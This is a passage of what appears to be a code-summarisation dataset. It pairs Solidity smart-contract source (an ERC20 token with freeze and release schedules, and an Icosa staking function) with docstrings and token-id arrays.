6835,
17721,
326,
2619,
1177,
2756,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
2332,
28039,
288,
203,
565,
2254,
5034,
1071,
5381,
18786,
67,
5757,
67,
734,
273,
2254,
5034,
12,
79,
24410,
581,
5034,
2668,
4435,
6134,
1769,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library DateTime {
/*
* Date and Time utilities for ethereum contracts
*
*/
struct MyDateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) internal pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) internal pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (MyDateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
// Year
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
// Month
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
// Day
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
// Hour
dt.hour = 0;//getHour(timestamp);
// Minute
dt.minute = 0;//getMinute(timestamp);
// Second
dt.second = 0;//getSecond(timestamp);
// Day of week.
dt.weekday = 0;//getWeekday(timestamp);
}
function getYear(uint timestamp) internal pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
// Year
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) internal pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) internal pure returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) internal pure returns (uint8) {
return uint8(timestamp % 60);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) internal pure returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) internal pure returns (uint timestamp) {
uint16 i;
// Year
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
// Month
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
// Day
timestamp += DAY_IN_SECONDS * (day - 1);
// Hour
timestamp += HOUR_IN_SECONDS * (hour);
// Minute
timestamp += MINUTE_IN_SECONDS * (minute);
// Second
timestamp += second;
return timestamp;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Helps contracts guard agains reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private reentrancyLock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract StandardBurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
}
contract Operational is Claimable {
address public operator;
function Operational(address _operator) public {
operator = _operator;
}
modifier onlyOperator() {
require(msg.sender == operator);
_;
}
function transferOperator(address newOperator) public onlyOwner {
require(newOperator != address(0));
operator = newOperator;
}
}
contract Frozenable is Operational, StandardBurnableToken, ReentrancyGuard {
using DateTime for uint256;
struct FrozenRecord {
uint256 value;
uint256 unfreezeIndex;
}
uint256 public frozenBalance;
mapping (uint256 => FrozenRecord) public frozenRecords;
uint256 mulDecimals = 100000000; // match decimals
event SystemFreeze(address indexed owner, uint256 value, uint256 unfreezeIndex);
event Unfreeze(address indexed owner, uint256 value, uint256 unfreezeTime);
function Frozenable(address _operator) Operational(_operator) public {}
// freeze system' balance
function systemFreeze(uint256 _value, uint256 _unfreezeTime) internal {
uint256 unfreezeIndex = uint256(_unfreezeTime.parseTimestamp().year) * 10000 + uint256(_unfreezeTime.parseTimestamp().month) * 100 + uint256(_unfreezeTime.parseTimestamp().day);
balances[owner] = balances[owner].sub(_value);
frozenRecords[unfreezeIndex] = FrozenRecord({value: _value, unfreezeIndex: unfreezeIndex});
frozenBalance = frozenBalance.add(_value);
emit SystemFreeze(owner, _value, _unfreezeTime);
}
// unfreeze frozen amount
// everyone can call this function to unfreeze balance
function unfreeze(uint256 timestamp) public returns (uint256 unfreezeAmount) {
require(timestamp <= block.timestamp);
uint256 unfreezeIndex = uint256(timestamp.parseTimestamp().year) * 10000 + uint256(timestamp.parseTimestamp().month) * 100 + uint256(timestamp.parseTimestamp().day);
frozenBalance = frozenBalance.sub(frozenRecords[unfreezeIndex].value);
balances[owner] = balances[owner].add(frozenRecords[unfreezeIndex].value);
unfreezeAmount = frozenRecords[unfreezeIndex].value;
emit Unfreeze(owner, unfreezeAmount, timestamp);
frozenRecords[unfreezeIndex].value = 0;
return unfreezeAmount;
}
}
contract Releaseable is Frozenable {
using SafeMath for uint;
uint256 public createTime;
uint256 public standardReleaseAmount = mulDecimals.mul(512000); //
uint256 public releaseAmountPerDay = mulDecimals.mul(512000);
uint256 public releasedSupply = 0;
event Release(address indexed receiver, uint256 value, uint256 sysAmount, uint256 releaseTime);
struct ReleaseRecord {
uint256 amount; // release amount
uint256 releaseIndex; // release time
}
mapping (uint256 => ReleaseRecord) public releaseRecords;
function Releaseable(
address _operator, uint256 _initialSupply
) Frozenable(_operator) public {
createTime = 1529078400;
releasedSupply = _initialSupply;
balances[owner] = _initialSupply;
totalSupply_ = mulDecimals.mul(187140000);
}
function release(uint256 timestamp, uint256 sysAmount) public onlyOperator returns(uint256 _actualRelease) {
require(timestamp >= createTime && timestamp <= block.timestamp);
require(!checkIsReleaseRecordExist(timestamp));
updateReleaseAmount(timestamp);
require(sysAmount <= releaseAmountPerDay.mul(4).div(5));
require(totalSupply_ >= releasedSupply.add(releaseAmountPerDay));
balances[owner] = balances[owner].add(releaseAmountPerDay);
releasedSupply = releasedSupply.add(releaseAmountPerDay);
uint256 _releaseIndex = uint256(timestamp.parseTimestamp().year) * 10000 + uint256(timestamp.parseTimestamp().month) * 100 + uint256(timestamp.parseTimestamp().day);
releaseRecords[_releaseIndex] = ReleaseRecord(releaseAmountPerDay, _releaseIndex);
emit Release(owner, releaseAmountPerDay, sysAmount, timestamp);
systemFreeze(sysAmount.div(5), timestamp.add(180 days));
systemFreeze(sysAmount.mul(6).div(10), timestamp.add(200 years));
return releaseAmountPerDay;
}
// check is release record existed
// if existed return true, else return false
function checkIsReleaseRecordExist(uint256 timestamp) internal view returns(bool _exist) {
bool exist = false;
uint256 releaseIndex = uint256(timestamp.parseTimestamp().year) * 10000 + uint256(timestamp.parseTimestamp().month) * 100 + uint256(timestamp.parseTimestamp().day);
if (releaseRecords[releaseIndex].releaseIndex == releaseIndex){
exist = true;
}
return exist;
}
// update release amount for single day
// according to dividend rule in https://coincoolotc.com
function updateReleaseAmount(uint256 timestamp) internal {
uint256 timeElapse = timestamp.sub(createTime);
uint256 cycles = timeElapse.div(180 days);
if (cycles > 0) {
if (cycles <= 10) {
releaseAmountPerDay = standardReleaseAmount;
for (uint index = 0; index < cycles; index++) {
releaseAmountPerDay = releaseAmountPerDay.div(2);
}
} else {
releaseAmountPerDay = 0;
}
}
}
}
contract CoinCool is Releaseable {
string public standard = '2018061610';
string public name = 'CoinCoolToken';
string public symbol = 'CCT';
uint8 public decimals = 8;
function CoinCool() Releaseable(0xe8358AfA9Bc309c4A106dc41782340b91817BC64, mulDecimals.mul(3000000)) public {}
} | check is release record existed if existed return true, else return false | function checkIsReleaseRecordExist(uint256 timestamp) internal view returns(bool _exist) {
bool exist = false;
uint256 releaseIndex = uint256(timestamp.parseTimestamp().year) * 10000 + uint256(timestamp.parseTimestamp().month) * 100 + uint256(timestamp.parseTimestamp().day);
if (releaseRecords[releaseIndex].releaseIndex == releaseIndex){
exist = true;
}
return exist;
}
| 1,512,049 | [
1,
1893,
353,
3992,
1409,
20419,
309,
20419,
327,
638,
16,
469,
327,
629,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
866,
2520,
7391,
2115,
4786,
12,
11890,
5034,
2858,
13,
2713,
1476,
1135,
12,
6430,
389,
7398,
13,
288,
203,
3639,
1426,
1005,
273,
629,
31,
203,
3639,
2254,
5034,
3992,
1016,
273,
2254,
5034,
12,
5508,
18,
2670,
4921,
7675,
6874,
13,
380,
12619,
397,
2254,
5034,
12,
5508,
18,
2670,
4921,
7675,
7496,
13,
380,
2130,
397,
2254,
5034,
12,
5508,
18,
2670,
4921,
7675,
2881,
1769,
203,
3639,
309,
261,
9340,
6499,
63,
9340,
1016,
8009,
9340,
1016,
422,
3992,
1016,
15329,
203,
5411,
1005,
273,
638,
31,
203,
3639,
289,
203,
3639,
327,
1005,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xfc4913214444aF5c715cc9F7b52655e788A569ed/sources/Icosa.sol | * @dev Adds more ICSA to an existing stake. @param amount Amount of ICSA to add to the stake. @return Number of stake points allocated to the stake./ load stake into memory get the HEX share rate and calculate additional stake points lock in payout from previous stake points update stake entry add additional points to the pool (following day) increase staked supply metric temporarily burn stakers ICSA | function icsaStakeAddCapital (
uint256 amount
)
external
nonReentrant
returns (uint256)
{
_stakeDailyUpdate();
StakeCache memory stake;
_stakeLoad(icsaStakes[msg.sender], stake);
require(stake._isActive == true,
"ICSA: NO STAKE");
require(balanceOf(msg.sender) >= amount,
"ICSA: LOW BALANCE");
HEXGlobals memory hexGlobals = _hexGlobalsLoad();
uint256 stakePoints = amount / hexGlobals.shareRate;
uint256 stakerClass = ((stake._stakeAmount + amount) * _decimalResolution) / totalSupply();
require(stakePoints > 0,
"ICSA: TOO SMALL");
uint256 payoutPerPointIcsa = icsaPoolPayoutIcsa[currentDay] - icsaPoolPayoutIcsa[stake._capitalAdded];
uint256 payoutIcsa = (stake._stakePoints * payoutPerPointIcsa) / _decimalResolution;
uint256 payoutPerPointHdrn = icsaPoolPayoutHdrn[currentDay] - icsaPoolPayoutHdrn[stake._capitalAdded];
uint256 payoutHdrn = (stake._stakePoints * payoutPerPointHdrn) / _decimalResolution;
uint256 minStakeLength = _calcMinStakeLength(stakerClass);
stake._capitalAdded = currentDay;
stake._stakePoints += stakePoints;
stake._payoutPreCapitalAddIcsa += payoutIcsa;
stake._payoutPreCapitalAddHdrn += payoutHdrn;
stake._stakeAmount += amount;
stake._minStakeLength = minStakeLength;
_stakeUpdate(icsaStakes[msg.sender], stake);
icsaPoolPoints[currentDay + 1] += stakePoints;
icsaStakedSupply += amount;
_burn(msg.sender, amount);
emit ICSAStakeAddCapital(
uint256(uint40 (block.timestamp))
| (uint256(uint120(stakePoints)) << 40)
| (uint256(uint80 (amount)) << 160)
| (uint256(uint16 (minStakeLength)) << 240),
msg.sender
);
return stake._stakePoints;
}
| 15,721,957 | [
1,
3655,
1898,
467,
4596,
37,
358,
392,
2062,
384,
911,
18,
225,
3844,
16811,
434,
467,
4596,
37,
358,
527,
358,
326,
384,
911,
18,
327,
3588,
434,
384,
911,
3143,
11977,
358,
326,
384,
911,
18,
19,
1262,
384,
911,
1368,
3778,
336,
326,
23971,
7433,
4993,
471,
4604,
3312,
384,
911,
3143,
2176,
316,
293,
2012,
628,
2416,
384,
911,
3143,
1089,
384,
911,
1241,
527,
3312,
3143,
358,
326,
2845,
261,
14641,
310,
2548,
13,
10929,
384,
9477,
14467,
3999,
18917,
18305,
384,
581,
414,
467,
4596,
37,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
277,
2143,
69,
510,
911,
986,
4664,
7053,
261,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
203,
3639,
3903,
203,
3639,
1661,
426,
8230,
970,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
389,
334,
911,
40,
12857,
1891,
5621,
203,
203,
3639,
934,
911,
1649,
3778,
384,
911,
31,
203,
3639,
389,
334,
911,
2563,
12,
2102,
69,
510,
3223,
63,
3576,
18,
15330,
6487,
384,
911,
1769,
203,
203,
3639,
2583,
12,
334,
911,
6315,
291,
3896,
422,
638,
16,
203,
5411,
315,
2871,
5233,
30,
3741,
2347,
37,
6859,
8863,
203,
203,
3639,
2583,
12,
12296,
951,
12,
3576,
18,
15330,
13,
1545,
3844,
16,
203,
5411,
315,
2871,
5233,
30,
1806,
59,
605,
1013,
4722,
8863,
203,
203,
3639,
23971,
19834,
3778,
3827,
19834,
273,
389,
7118,
19834,
2563,
5621,
203,
3639,
2254,
5034,
384,
911,
5636,
273,
3844,
342,
3827,
19834,
18,
14419,
4727,
31,
203,
203,
3639,
2254,
5034,
384,
6388,
797,
273,
14015,
334,
911,
6315,
334,
911,
6275,
397,
3844,
